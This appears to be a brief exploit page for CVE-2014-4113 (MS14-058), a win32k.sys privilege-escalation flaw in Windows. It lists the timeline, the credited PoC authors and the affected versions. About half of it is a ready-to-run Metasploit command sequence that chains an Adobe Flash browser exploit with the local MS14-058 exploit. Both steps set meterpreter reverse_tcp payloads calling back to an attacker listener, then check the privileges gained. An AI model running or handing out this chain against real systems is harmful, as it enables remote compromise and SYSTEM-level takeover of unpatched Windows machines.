Timeline :

Vulnerability discovered exploited in the wild
Patched by the vendor via MS14-058 the 2014–10-14
Metasploit PoC provided the 2014–10-24

PoC provided by :

Unknown
juan vazquez
Spencer McIntyre
OJ Reeves

Reference(s) :

CVE-2014-4113
BID-70364
MS14-058

Affected version(s) :

Windows Server 2003
Windows Vista
Windows Server 2008
Windows 7
Windows Server 2008 R2
Windows 8 and Windows 8.1
Windows Server 2012 and Windows Server 2012 R2
Windows RT and Windows RT 8.1

Tested on :

on Windows 7 SP1 in combination with CVE-2014-8440 (Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory) vulnerability

Description :

This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability can be triggered through the use of TrackPopupMenu. Under special conditions, the NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary code execution. This module has been tested successfully on Windows XP SP3, Windows 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows 2008 R2 SP1 64 bits.

Commands :

use exploit/windows/browser/adobe_flash_uncompress_zlib_uninitialized
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
run

getuid
sysinfo

use exploit/windows/local/ms14_058_track_popup_menu
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
set LPORT 4445
set SESSION 1
run

getuid
sysinfo